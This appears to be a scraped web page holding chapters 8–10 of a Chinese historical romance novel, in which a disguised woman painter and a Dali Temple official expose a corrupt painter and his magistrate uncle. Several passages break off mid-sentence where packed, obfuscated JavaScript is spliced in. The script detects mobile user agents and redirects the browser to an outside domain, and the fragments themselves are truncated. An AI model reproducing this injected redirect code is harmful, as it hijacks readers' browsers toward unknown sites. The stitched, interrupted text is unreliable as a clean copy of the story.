邱容只能磨磨蹭蹭地走上前,心里却是一百个不乐意,他可是伺候大人的,如今却要给一个无名小卒伺候笔墨。 晦气!当真是晦气! 敛烟一旦开始作画,便如陷入无我之境地,不论外界有何声音都无法叨扰到她,她的眼中只有纸与墨晕染开来。 所以她只是略略抬头让自己能用余光看到那颗头骨,丝毫没有听见邱容和厉思远的对话。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268710|182205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 陈宅院内,一阵微风轻轻拂过一旁的大树,树叶摩擦间发出轻微的沙沙声,时间一分一秒地流逝,所有人都没有再说话,只是看着敛烟的一举一动。 厉思远眼睫半垂,盯着敛烟那双紧握笔杆的手看了半晌,深黑色的眼瞳中看不出情绪。 那是一双与整张脸格格不入的手,虽是因寒冷生了冻疮,但却并不粗糙,指尖透着粉嫩,白嫩细腻,就像是一双天生用来握笔的手。 他也曾见过一双手,玉色轻晃,在雪白的画卷上轻轻拂过,也在曾温柔小心地碰触过他的脸颊,让人的心尖也忍不住轻颤。 可如今那双手的主人却…… 厉思远闭了闭眼,努力平复内心的波澜。 半个时辰悄然而去,只见敛烟笔尖一顿,抬手擦了擦头上的汗。 她画完了。 就连一边打扫院子的丫鬟杂役们都不约而同停下了动作,他们都想看看这架势颇大的奴才,真的能解决连宫廷画师都无法解决的难题么? “画完了?” 厉思远的声音带着些许低哑,响在耳畔痒痒的,敛烟才发现他不知什么时候已经站在了自己身侧,正垂眸看着打量自己所作的画。 他的身形高大,整个人微微弯着腰,影子便整个儿将敛烟覆盖住了,又由于离的很近,身上那若有似无的清香便散发出来。 敛烟一个激灵,从作画的无我境界中脱离出来,微微将身子挪了挪避免和厉思远接触:“那个……官爷,小人画完了。” 厉思远一只手搭着敛烟的肩头,另一只手将画纸拿起来。 这个动作看似很自然,敛烟却毕竟是一个闺阁女子,男子的手宽大厚实,温度又出奇的高,被碰到的那一刻,敛烟瞬间绷直了脊背。 好在那只手一触即走,敛烟这才暗暗松了口气。 “公子,怎么样?”邱容在旁边迫不及待地问道。 他心里笃定这个不起眼的少年怎么可能会还原出来头骨的样貌,定然是在虚张声势! 所以他迫不及待地想来听听结果。 敛烟也心下忐忑,这或许是她能逃离陈宅唯一一次机会了,若是这次失败,那么自己真的要在陈宅不是被打死,就是要被饿死了。 厉思远看向那张画纸,上面赫然是一位貌美的年轻女子。 嘴角一颗美人痣,眼帘低垂,似乎有什么心事,虽然只是用黑墨勾画,却笔触细腻,简单几笔便跃然纸上,足见作画之人的功底深厚。 即便厉思远对民间能人异士的能力已经是不足为奇了,但也对此颇为震惊,他沉默片刻,随后沉声道:“山平,你过来。” 一旁的陈生和孙管事对望一眼,心下了然。 这官爷看起来脾气大得很,估计是要收拾这个贱骨头了。 不过也好,省了他们的力气,大不了再去招一个画师来。 周遭的丫鬟杂役们也都啧啧出声,一个下人怎可能有这样的实力去画出头骨的容貌嘛。 果然是天方夜谭、痴心妄想。 8. 抱紧大腿 就在在场众人都以为敛烟失败的时候,就见厉思远把画纸递给山平: “你即刻递信给王雨生,让他务必核实此人身份。” 敛烟耳朵一动,听见了熟悉的名字,王伯伯是她父亲在大理寺的亲信,也不知道他如今怎么样了。 陈宅院内安静了一瞬,随后又爆发出了窃窃私语的声音,有的人没忍住问道:“官爷,他成功了吗?” “怎么认定这个画像就是头骨本人呢?” 厉思远将画纸递给山平后,解释道:“他画上的人像同仵作验尸后的年龄与性别都相差不大,且此人的身份我已有眉目,所以应当是错不了。” 众人哗然,陈生则在一旁朝孙管事使了一下颜色,孙管事心领神会,悄然离去。 陈生整了整衣襟后,笑着走上前: “哎呀,小小陈宅也当真是卧虎藏龙啊,看时辰已经临近晌午了,小人已经在内堂备下了好酒好菜,这位……彦儿画师也一同用饭吧?” 敛烟看着陈生皮笑肉不笑的嘴脸,虽然肚子里空落落的饿的紧,但她还是冷冷道: “刚才这位官爷已经答应我了,若是当真能还原头骨的容貌,便允我拿卖身契离开陈宅,小人并不想吃东西,只想尽快拿回卖身契。” 虽然自己签的短契被陈生私自换成了长契,但奈何自己证据不足,只能忍气吞声将卖身契先拿回来再说。 陈生却晃了晃圆滚滚的肚皮,上面的金银配饰被他晃得叮当作响:“什么卖身契,我怎的不知道?” 敛烟腾地一下站起身,怒斥:“你这人怎能言而无信?明明说好的事,有官爷在这里作证,你怎敢就这样装傻充愣!” 陈生掏了掏耳朵,权当没听见。 现在看来这个彦儿的确画功了得,那可是一棵摇钱树啊,自己可断断不能放他走。 再说这个官爷…… 哼,什么东西,敢冒充贵人跑到这里来耀武扬威,看我等下不戳穿你的真面目! 厉思远目光倏然冰冷,陈生这是要不放人的意思,而且看他的表情,什么邀请自己用饭,想必是拖延时间的借口罢了。 虽然他是来办陛下交代的那件事情,但也断不能让这种言而无信的小人得逞。 “陈公子,本官既然已经答应了他,便需要信守承诺,烦请将卖身契取出,还他一个自由身。” 他声音清冷,带着上位者的压迫感,让陈生心里莫名地一紧。 他余光瞥见孙管事带着一众护院远远走过来,而厉思远这边,那个看起来武功高强的大个子已经先行离开,剩下的就只有厉思远和邱容两人。 陈生挺直了腰身,鼻子里哼道: “他是我的家奴,卖身契还不还给他自然是主人家说了算,与你有什么干系?” “再说了,你说你是大理寺的官员,你倒是把腰牌拿出来看一下啊?” 邱容在一边气的直跺脚,大人的腰牌是陛下亲赐的金色腰牌,全天下独一个,若是拿出来了,论谁都能一眼认出大人的真实身份! 大人来临州是肩负着陛下亲自下达的重要任务,怎么可能将自己的身份暴露出来? 见厉思远冷着脸不语,陈生胆子大了起来: “拿不出来?拿不出来就不要装成什么京城的官员,说吧你到底是谁?敢来我们陈宅撒野,也不问问我叔叔是谁!” 敛烟抬头看到陈宅养的护院已经将他们逐渐围了起来,他们手里拿着棍棒刀枪,脸上凶神恶煞。 她悄咪咪地朝厉思远靠近了一些,也不管邱容瞪她的眼神,伸手拉了拉厉思远的袖子:“大人,陈生的护院功夫都不差,你要多加小心。” 嘴上是这么说,但是人已经躲到了厉思远身后。 陈生不知道,她却知道,厉思远身为武将,多年征战南疆战场,功夫自然不会差,打这些护院们就和玩一样。 抱紧大腿,才能生存,她暗暗想着,又朝厉思远身后躲了躲。 厉思远早已注意到了这些围攻过来的护院,眼底晦暗:“很好,你可真是苏世良的好侄子。” 陈生一听厉思远喊自己叔叔大名,登时大怒:“你算个什么东西!敢直呼苏县令的大名!来人!给我狠狠打!打死了算我的!” 厉思远一个眼神扫过去:“我看谁敢动!本官乃朝廷命官!你们都不想活了?” 护院们原本脚下已经蠢蠢欲动,正要扑过去打人,却被厉思远一个眼神看过来,不知为什么忽地有些害怕。 这人看着斯斯文文的,但却莫名有股肃杀之气,就像是……杀过人。 陈生见护院们被厉思远一句话说的便停下动作,气的跳起来:“上啊!等什么呢?” 护院们听到号令,这才反应过来,他们这么多人,就算这个小白脸会一些拳脚功夫还能翻天不成? 想到这里,一个个撸起袖子就朝院子中央的三人狠狠扑去。 敛烟躲在厉思远身后,紧紧闭住了双眼。 她还没来得及反应,便听到一连串的痛呼,敛烟将眼睛掀开一条缝,面前依旧是厉思远高大的身躯,周围却已经躺满了龇牙咧嘴的护院。 厉思远似乎一步都没有挪动,只有腰间的玉佩轻轻的晃动表明他刚才的确出手了。 这、这就完了? 除了邱容,在场所有人都目瞪口呆,这样一个翩翩公子,武功竟、竟然如此高强? 敛烟也从来没听说过,厉思远的身手竟然强到这个地步。 邱容骄傲地抬了抬下巴,别看大人平时不出手,要是出手的话吓死你们! “你、你……到底是什么人!”即便陈生不懂武功,但厉思远这身手绝非寻常人等,他硬着头皮颤声问道。 厉思远没有理会他,而是理了理衣袖,朝邱容低语了两句。 邱容心领神会,从怀中掏出了一块令牌,朝前迈出一大步,高声道:“大理寺官差在此,尔等还不速速跪下!” 爽! 敛烟和邱容心中同时发出了感慨。 陈生大惊失色,他定睛仔细一瞧,那镶金云龙纹黑色桐木令牌,上书一个大字“令”,赫然就是朝廷为官员颁发的身份令牌! 除了九品小官,每一位官员都有身份凭证,只是根据品阶不同,令牌的色泽品质都会略有不同。 而邱容手里的这块,用的是色泽上乘的黑色桐木,边缘圆润,上下都精心刻有云龙纹,看着便已经是正四品以上的官员。 夏太守也不过是个正四品的品级罢了,这个小白脸至少和夏太守平级! 敛烟从后面冒出一颗头,眯着眼睛细细观察了一下。 她听闻厉思远有一块陛下钦赐的腰牌,与其他人都有所不同,似乎是用鎏金浇筑而成的,且大理寺卿的腰牌上应当有他自己的名字才对。 她见过父亲的大理寺卿腰牌,小时候还偷摸抛着玩儿过,差点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268711|182205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扔进湖里喂鱼,至今记忆犹新。 现在邱容手里的这块,一定不是厉思远的,却的确是真的。 但如果这块腰牌不是他的……那会是谁的? 而此时远在京城的王雨生遍寻自己的令牌未果,正懊恼地思考等厉思远回来该如何交代。 这头,孙管事还在试图嘴硬:“……我、我们怎能知道你这个令牌是真的假的?莫要用假令牌来诓骗……” 话刚说一半,他只觉得腿上一疼,伴随着哎哟一声痛呼,整个人被一脚踹了出去,他抱着腿躺在地上,就听见陈生怒喝: “狗奴才!见了大人还不快跪下!真是一点规矩都不懂!” 孙管事被踢的眼冒金星,还没有反应过来为什么老爷会忽然这样对自己,就又被补了一脚,踉跄着朝大门滚了过去。 陈生怒喝:“对大人出言不逊,你不配做我们陈宅的管事,来人啊,把他从家里给我赶出去!” 旁边的护院有两个机灵的,孙管事的求饶声还未响起,便一左一右架着他扔出了陈宅。 厉思远冷笑:“陈公子还真是治下有方啊。” 陈生扑通一声跪了下来,砰砰砰地磕了三个响头,讪笑: “哎呀,都是手下人做事没轻没重的,竟然连大人都没认出来,还让我们和大人闹这么大一场误会…… “不瞒大人讲……陈宅这几百口人管理起来确实有些困难,是小人的疏忽……” 一旁的护院们好不容易忍着疼痛从地上爬起来,见自家老爷都跪了下来,便也纷纷丢下武器跪了下去,但仍心存疑惑。 先不说作为朝廷官员这样的穿着是不是过于朴素了些,自家老爷也从来没见过京城的官员,怎么就笃定这位年轻公子的令牌是真的呢? 敛烟藏在厉思远身后,嗤笑出声: “什么误会,分明就是看我们大人穿着朴素简单,所以才对他那样嚣张跋扈!” “大人,这陈生平日里就是这样,对贵人阿谀奉承,对普通百姓就嚣张跋扈!” 看着敛烟指手画脚告状的样子,厉思远轻瞥了一下,没有言语。 邱容则忿忿地在心中翻了个大白眼,什么我们大人?就这么不见外?那分明是我家大人!! 虽然这样说,他却没有表现出来,而是晃了晃手上的令牌,阴阳怪气:“哟陈公子,你都不再查验一下我们的令牌是真是假?小心我们诓你!” 陈生忙摇头:“哎哟小人哪里敢啊,以前有幸见过一次令牌,此生难忘啊……” 他转头朝旁边的丫鬟说道:“快去看看酒席准备的怎么样了?交代厨房,大人在这里可千万不能怠慢……” 看了这一出变脸大戏后,厉思远颇为满意地整了整衣服,摆摆手:“用饭就不必了,我们这就走了。” 陈生搓了搓手,他从未见过这样大的官,断断不想就这样放过阿谀奉承的机会: “啊?这、这么快吗?您看这都临近用饭的时辰了,我们都已经备好了,我还可以替大人您再画一些其他的画放在房中,您看您喜欢什么?梅花?百灵鸟?” 厉思远重新捧起那木盒往外走,听到陈生的话停下脚步,盯着只堪堪到他胸口的男人: “你来作画?怕不是要让你东厢房的那些个画师替你作画吧?” 一句话,如千斤巨石般狠狠落下,重重敲在陈生的胸口。 这、这事他是如何知晓的?? 9. 苏县令 厉思远转过身,向前走了几步,伸手推开了陈宅厚重的大门。 敛烟这才发现,此时陈宅门口已经站满了同她一样被骗来逼迫作画的画师们,他们一个个义愤填膺,恨不得此时此刻就冲进来将陈生撕成碎片。 原来厉思远已经知道此事,但明知自己无法求得想要的画作,为何还要特地来陈宅一次呢? 她环顾四周,看到了两个男子,黑色装束,边缘滚着暗金色的纹路,与山平的装束一模一样,她心里瞬间明了了。 那些人衣服上的暗金色纹路,是潜麟卫的特有标志,只有陛下、太后和皇子们才有资格受到潜麟卫的保护。 但是厉思远却也被授予这份独属于皇家的待遇,他在陛下心中的分量可见一斑。 那两个潜麟卫手上拿着数十张卖身契,原来厉思远早就已经知道陈宅的种种腌臜事,只是需要些真凭实据才能将事情摊牌。 刚才如果不是自己闹这样一出,可能厉思远自己也会想办法将陈生的护院们引出来,然后寻到卖身契。 即便如此,敛烟还是皱紧了眉头,仅凭这些卖身契,还不足以让陈生定罪,顶多就是遭受点钱帛损失罢了。 或许……自己可以在这火里再添一把柴。 厉思远此时已经大踏步迈出陈宅大门,两个潜麟卫上前将卖身契恭敬呈上,他抓起那一把卖身契,朝站在台阶下正仰头看他的那些画师高声道: “你们是被陈家骗来逼迫作画的,按照东华国律法,卖身契皆不作数,现下将悉数烧毁,若是还有愿意继续呆在陈家的,可以现在拿回你们的卖身契。” “陈生目无王法,囚禁良民,擅改契约,又克扣工钱,按律当双倍返还工钱并付赔偿金,具体金额待本官回驿站细算后从陈宅取出,各位三日后便可去城东驿站领取。” 听见厉思远这样说,人群瞬间沸腾,都纷纷叫好。 有的人大声叫道:“谁还愿意回去这虎穴狼窝!陈家不仅不给发工钱,连吃饱饭都要靠大家伙抢!” “就是!陈生堪比周扒皮!不把我们当人看!我们的画非要说是他自己画的!还觉得是他对我们的恩德!我呸!” “大人英明!终于可以回家了……” 周边的百姓被这喧闹声吸引过来,对着陈宅指指点点。 “没想到啊,陈画师不是很得夏太守青眼吗?那些画竟然不是他自己画的?” “我之前还买过他的画!原是想着再倒卖出去,这下真是亏惨了……” “让他平时看不起人,原本就是会画两笔破画,现在竟是连画都不是自己的……啧啧啧,也不知道在傲气什么!” 陈生本就好面子,听到周边的闲言碎语,登时有些下不来台。 他面色涨红,指着台阶下乌泱泱的画师们,大叫:“你们、你们休要胡言!我只是来喊你们做杂工!谁让你们作画了?说话要有凭据!” 说完又朝厉思远拱手:“大人,您定是听了这些刁奴的谗言,切莫被蒙蔽啊!” 敛烟也随着厉思远蹭到了大门边,提议道:“既然陈画师这样急于证明自己被冤枉,不如就当着我们大家的面,画上一幅怎么样?” 其他人也纷纷应和:“对啊!画上一幅让我们大家看看呗!” 陈生冷汗直流,他以前是会画画不假,但画的并不好,如今又因为有众多画师帮自己作画,自己多年未动过笔了,哪里可能画的出来? 他试图推脱:“作画需要静心,这样多的人我……我也想不出画什么啊!” 敛烟脆声说道:“就画丹阳春景图呗!前段时间刚刚献与夏太守,想来陈画师应当是没有忘记吧?” 见陈生又欲说什么,敛烟抢话:“当然,给夏太守的画作怎能让我们其他平头百姓看,打个简单的草稿就好,应该不难吧!” 其他懂得作画的画师们也都纷纷点头附和:“是啊,打个草稿也就不到半个时辰的事,让我们大家都看看呗!” 陈生一脸苦涩地看向厉思远,却见他唇角挂着笑容,正望向那个叉着腰,不知何时站到了人群最前面的敛烟,显然已经默认了这个做法。 “那、那我这就去取纸笔来……”陈生试图退回屋内,眼前却忽然覆盖下了一层阴影。 眼前竟然又出现了一个潜麟卫,他一只手拿着笔墨,另一只手提着一方桌台,瓮声瓮气道:“不需要了,我给你拿过来了。” 陈生欲哭无泪地接过笔墨,硬着头皮坐在了那桌台旁边,宣纸早已铺好,他手里拿着狼毫笔,围观的人的眼神仿佛洞穿了他的身体一般,浑身灼烧的厉害。 众目睽睽下,陈生咬着牙在纸上歪歪扭扭地落了笔。 山平不知何时取来了一个漏刻,摆到了方桌之上,所有画师都冷笑着看陈生的笑话。 就连光学画的学徒打个草稿也就半个时辰的事情,若是他磨磨蹭蹭半天都不画,就把他这张虚伪的面皮扒下来! 就在陈生越画越崩溃时,只听见不远处忽然喧闹起来,有人窃窃私语道:“是苏县令!苏县令来了!” 叔叔终于来了! * 苏世良知道有人在陈宅闹事的时候,本来没有当回事。 他这个侄子做荒唐事已经不是一日两日了,娶了正妻还纳了好几房小妾,却仍旧不知足。 不只在临州城的青楼流连忘返,还和家里的丫鬟们不清不楚,家里时不时就会闹的人仰马翻的。 他那个正妻和小妾一气之下全都回了娘家,留下他和几个丫鬟终日鬼混。 想到他这个侄子,苏世良就头疼,所以孙管事来的时候,他以为又是那些男女之事,完全没放在心上。 但当那孙管事颤抖的嘴唇吐出“大理寺官差”几个字的时候,苏世良手一抖,差点把拿在手里的茶碗丢出去。 就算是自己并不喜欢这侄子,但陛下用人最是看重品德,要是让大理寺的大人回京说起侄子的丑事,岂不是会连累自己?! 苏世良都顾不上擦身上的茶水,提着官袍一路小跑去了陈宅,连仆从都没叫一个。 他到的时候,就看到陈宅门口里三圈外三圈围了许多人,他一眼就认出了最里面的那些陈生养的画师们,此刻一个个都义愤填膺地站在那里。 再一瞧他这个不争气的侄子,此时正抓耳挠腮地坐在门口,举着画笔不知道在画些什么,脸色涨红、满面窘迫。 而在他旁边立着几个黑衣男子,正中则站着了一名穿着简单的却气质不凡的年轻公子。 苏世良并不像那陈生般毫无眼力,即便没有穿官袍,但见那位公子衣袂飘飘、相貌不凡,自眼底便透出一股上位者那般颇具威慑力的气质,便笃定这位就是孙管事口中所说的大理寺官差了。 他没有去京城任职过,但也和夏太守有过一些往来,见过一些世面。 他知道大理寺官差能办案的至少是正八品,官大一级压死人,这位的官职恐怕真的会将自己轻易捏死。 这个人,他得罪不起。 这样想着,苏世良脸上露出一抹谄媚的笑容,其他人见苏县令来了,都纷纷给他让出了一条路。 厉思远抬眼就看到了一个满脸皱纹的尖脸中年人,微微驼背弓肩,笑容可掬地来到自己面前。 那身绿色的官袍,一看便知道是临州城的父母官,苏世良。 他懒懒移开眼睛,就听见苏世良开口: “喔唷大人!什么风把您吹来了!您看这下人办事不力,我都没有收到信儿,要是知道的话定会好好设宴招待您!” 厉思远摆摆手:“我本是来游玩,也不想多有叨扰,所以故意让人把出行的消息压了下来。” 苏世良笑得皱纹都堆在了一起,他余光偷偷瞥向他那个不争气的侄子,就看到陈生一脸哀怨地举着狼毫笔,画纸上勾勒了几条黑色的线条,就像是几条黑色的虫子歪歪扭扭趴在上面。 他气不打一处来,一脚就踹向陈生,把人踹的哎哟一声仰倒在地,还没等陈生爬起来,攥起拳头劈头盖脸砸了下去,边砸边喊: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“其实那些画都是下官专门去画馆请画师替他画的,至于这些画师其实是我从画馆招来的,本意是为了让他好好学习一下绘画,不成想他每日招猫逗狗、不学无术……哎!” “大人若是不信,下官这就请画馆的老板过来证实。” “下官也知道这样做不对,但下官的妹妹早逝,就盼着这么个儿子早日成器,下官也是没有办法……” 一段话说完,苏世良已经是老泪纵横,用袖子不断擦拭脸上的泪水。 台阶下的画师们见苏世良竟然如此颠倒黑白,都愤愤不平地喊道: “什么教他绘画!分明就是陈生逼我们画的!竟然为了维护自己侄子黑白不分,忒不要脸了!” 厉思远问道: “那你怎么解释这些画师们的证词?本官的侍卫在进入东厢房的时候,看到他们一个个面黄肌瘦,难道……他们还能故意挨饿作假?” 苏县令倒是没有着急,而是沉痛道: “大人有所不知,这些画师此前曾向画馆赊过不少笔墨纸张的账,您也知晓这作画工具着实不便宜,赊账也在所难免。” “但哪里想到这些画师始终赊账不还,那画馆的老板便请我出主意,想到这些画师原本就在陈宅做活计,便让他们帮忙作画,以此还账罢了。” “至于说这些画师为什么面黄肌瘦……” 苏县令的小眼睛朝下面转了一圈,背对着厉思远露出一抹威胁的样子: “许是因为我帮画馆的老板惩罚他们,便心生怨恨,故意如此来诬陷我们。” 画师们见苏世良威胁的样子,顿时失了分寸。 毕竟这位大人再厉害,那也是京城的官员,离开了临州城后自己和家里人还是在苏县令的手底下过活,就算被报复也求不到京城里去。 厉思远见这些苦主都面露难色,微微皱眉。 画师们被逼迫作画除了口供以外,没有其他板上钉钉的证据,陈宅的家奴们也都出奇的忠心耿耿,想定这陈生的罪恐怕还是有些困难。 画馆的老板他都无需去问,苏世良既然已经抛出这样的理由,想必已经打点好关系,问也是徒劳。 厉思远沉吟片刻,正欲开口,就听见人群中脆生生的一声:“那要是按苏县令所说,这赝品画也是苏县令指使完成的了?” 10. 你不跟我回去? 人群里,一个矮小瘦弱的人走了出来,左手拿着一卷画,右手边跟着一个年老的妇人。 厉思远抬头看了一眼敛烟,眼底闪过一抹复杂。 他承认,甫一看到彦儿的时候,他也是震惊的。 虽然他面上有一道可怖的疤痕,但那极为相似的眉眼,让他差点误以为敛烟真的回来了。 他还记得,在品画会上他为了寻自己的贴身玉佩,误入了保存画作的房间里,在仕女簪花图的后面发现了她。 少女面色酡红,琼鼻秀挺,粉唇不点而朱,一身赤红色长裙裹在姣好的身材上,一半衣裙垂落到塌边脚踏上,仿若盛开的海棠花,明艳热烈。 此时她整个人倒在榻上,正睡得香甜,完全没注意到厉思远的出现。 仕女簪花图本就惊艳,然而醉卧在榻上的她,却仿佛画中走出来的仙子,比画中女子美丽数百倍。 厉思远认出了敛烟,这已经不是他第一次见到她了。 只不过……如今的她出落的越发秀气了。 十七岁的少年只觉得面上发热、心如擂鼓,他深吸一口气,知道孤男寡女不能共处一室的礼数,正要抬步离开,却在少女腰间看到了自己的贴身玉佩。 那是很小的时候娘留给自己的玉佩,厉思远是一定要拿回来的。 他轻轻喊了敛烟两声,又小心翼翼伸出指尖轻轻碰了碰她,少女却无动于衷。 厉思远踌躇半晌,紧张地咬了咬唇,只能为难地凑上前去,试图把玉佩从少女腰间解下来。 少女秀丽的面容近在咫尺,他甚至能够感受到她带着些许酒气的呼吸,不知道是不是太过紧张的缘故,厉思远解了半天都没有解下来。 就在这时,他听到敛烟忽然轻嗯了一声,匆忙抬起头,猝不及防对上了一双盈盈美眸。 盈盈如秋水,又透着清澈和灵动。 他敢说,那是他见过最漂亮的眼睛。 就在这时,厉思远感觉到自己脸颊忽然被一只细腻的小手轻轻抚过,而少女此时樱唇轻启,喃喃道:“……真好看啊。” 也不管什么玉佩不玉佩了,少年只觉得脸上顿时滚烫无比,松了手就朝后踉跄着后退几步。 “喂!你这个人怎么回事!怎么能随便摸、摸男子的脸!知不知道你……你是女子!你我……” 厉思远语无伦次地冲敛烟大喊,却见少女一脸迷蒙地望向自己,似乎没有在听自己说什么。 他羞愤难当地跺了跺脚,逃也似的离开了房间。 后来,厉思远曾无数次在梦见那日的场景,还曾去敛府门口偷偷看过敛烟,发现原来敛烟早已和陆景明有了婚约,而两个人浓情蜜意,完全是一对神仙眷侣。 厉思远冷静下来后,便很快将那日涌起的所有感情悉数压了下去,他知道,他和她绝无可能在一起。 更何况,自己在京城没有家族傍身,父母对陛下和太后的恩情终究会随着时间而逐渐消逝,日后自己的处境不可谓不艰难。 所以他不能自私,让她和自己一起冒险。 直到听闻敛和安的事情,躁动不安的感情又再一次占了上风。 那时他刚刚清缴南蛮结束,也顾不上休息,快马加鞭从南疆一路回到京城。 却在到达京城的那天,听说了敛家全府被流放的事情,厉思远大惊。 陆景明呢?为什么南陵侯府没有任何动作? 顾不上多想,厉思远在匆匆面圣后,连夜快马顺着流放的路线寻人。 却在路上遇到了负责流放的官员,听说敛府全部人都被马匪截杀,只有这个官员幸存下来。 厉思远疯了一般寻找,在好心人的指引下,终于找到了她的尸体,血肉却早已被野犬啃食殆尽,只剩下森森白骨。 他亲手将她的尸骨从通往极北之地的小岔路上带回,埋葬在了盛开的海棠花下。 因着她喜欢,她喜欢作画,喜欢一切美丽的事物,这样一个美丽的人啊,怎能甘心死在那苦寒之地呢? 葬于花下,安睡在阳光中,才是她所想要的。 所以啊……彦儿绝无可能是她。 厉思远并非一直始终沉溺于情绪中的人,故而在见到彦儿后,很快便调整好了状态,只是心中的思绪有意无意总是被他牵扯。 直到刚才苏世良来了以后,他看到彦儿很快远离了人群,跑开了。 是啊,不过是眉眼有些相似而已,走便走罢,自己也没有真的在意,许久以后便会淡忘在脑后。 他这样想着,却心里莫名空落落的,手也攥紧又松开。 伴随着一声清脆的叫喊声,彦儿竟又回来了。 不知为何,他竟轻轻松了口气。 厉思远沉沉抬眼,看着那少年,丑陋的疤痕也遮不住他精致小巧的五官,尤其是那双潋滟着水光的凤眸,在阳光的映衬下熠熠发光,小跑过来后有些气喘,白皙粉嫩的皮肤上沁出丝丝汗珠,叫人有些移不开眼。 他喉结暗自滚动了一下,开口道:“什么赝品画?” 敛烟将手里的画卷抖落开来,搀扶着旁边的老妇缓缓帮她跪了下来。 那妇人年纪看着已六十有余,满鬓斑白,颤颤巍巍道:“老身林氏,见过大人。” 厉思远连忙上前将林阿婆扶起:“阿婆不必多礼,站起来说就好。” 林阿婆吃力站起身,喘了口气才开口:“这幅春山出游图是老身从陈府购买,陈生本人亲口所说,说这画是松山先生的真迹。” “老身花了全部身家买下后,送人时发现这竟然是假的……” 春山出游图,厉思远这种外行人都知道,这画是当今世上最有名的名画师,松山先生的墨宝。 他还记得,敛烟最喜欢的就是松山先生的墨宝。 一旁的陈生暗道不妙,这林阿婆他是没有印象,但是这画他倒是记得。 赝品画他卖出去不少,但是大多都是为了附庸风雅的富贵人家,根本看不出画的真假。 就算是有人真看出来了,看在他叔叔是苏县令的面子上,也就睁一只眼闭一只眼揭过去了。 可看这林阿婆,年近半百,衣服还打满了补丁,在初春还有些寒冷的天气里只穿了一双破草鞋,怎么看都不像是来买过画的人。 陈生跳了起来,用手指着林阿婆: “大人,这是空口凭说!胡言乱语!你为什么要诬陷我?” “先不说我卖的都是真迹,那些来买画的人都是富贵人家,你这种吃饭看起来都成问题的人,为何要用全部身家来买一副不知真假的画?” 林阿婆听到这话,气得伸出已成枯槁的手指,全身因为发怒而剧烈颤抖: “你……你还有脸说!老身当时便说过,那画是我儿的救命用的!” “你为了银钱胡乱用假画来应付了事,还信誓旦旦给我看鉴定墨宝,你……你……!” 怒急攻心,林阿婆一口气没提上来,两脚一软便瘫在地上,厉思远疾走两步上前去,帮敛烟一同扶起了林阿婆。 “阿婆您先别急,您请先说说,这画为何是你儿救命用的?” 厉思远温声道,又两指并在一起,朝林阿婆身上点了两下,林阿婆瞬时倒吸一口气,只觉得刚刚那眩晕的感觉消失不见了。 一旁的敛烟全都看在了眼里,不禁多看了一眼厉思远,没想到这位大理寺卿竟然还会穴位指法,不由得暗暗钦佩。 林阿婆喘了两口气,浑浊的眼睛依旧死死盯着台阶上努力让自己看起来无辜的陈生: “大人,实不相瞒,老身的儿子从小便生得一场怪病,言不能语、腿不能行,整日痴痴呆呆的样子,就仿佛魂被人勾了去。” 她深深吸了口气,继续道: “老身和夫君两人遍访名医,散尽家产,却始终无法找到医治之法,老身的夫君郁郁而终,只留老身一人将我儿拉扯至今。” “后老身听闻在淮南深山有一名医者,曾医好过数名类似的病人,老身便想去求访。” “您也看到了,我这把年纪,若是我离开了,不知我儿还能不能活下去……” 提到自己缠绵病榻几十年的儿子,林阿婆双目通红,眼泪止不住地从眼角滑落下来。 她抬手,恨恨地擦了一把后,咬牙指着陈生: “那名医性情颇为古怪,只医治有缘人,听人说他独爱松山大师的画作,有几位病人都是靠送画获得药方,所以,老身便四处搜罗松山大师的真迹。” “陈生本就是画师,老身便想着来问问,一问没想到还真的有,因着有鉴定墨宝,老身并未起疑,陈生见老身渴求,便以只剩一副真迹为由,开出天价……” 说到这里,林阿婆几乎泣不成声: “老身变卖了所有家产买下这幅画,只为我儿能痊愈,但谁承想……拿给那名医的家仆后,才发现这画竟然是拙劣的赝品!” “我儿原本也抱有希望,听闻此事后想不开,前几日便、便……呜呜呜呜…………” 周围的百姓一个个也都听得义愤填膺。 在他们街坊邻居都知道林阿婆家里的情况,但想到陈生的叔叔是苏县令,大家也都是敢怒不敢言。 此时敛烟抬起头,一手扶着林阿婆颤抖的身躯,侧身凌厉地扫过站在人群最前面的那些画师。 “那春山出游图你们曾替陈生画过,你——小涂,你是勾边的,你二胖,你是上色的,还有你、你——” 她抬起手,一一指了过去,那些被敛烟点到的画师们纷纷别开目光,唯恐惹祸上身。 似男似女的嗓音响起,仿佛降下的一道惊雷。 “陈生在临州城无恶不作,囚禁你们也就罢了,如今又生生逼死了一个早已穷途末路的苦命人家,大人是来替我们做主的,难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 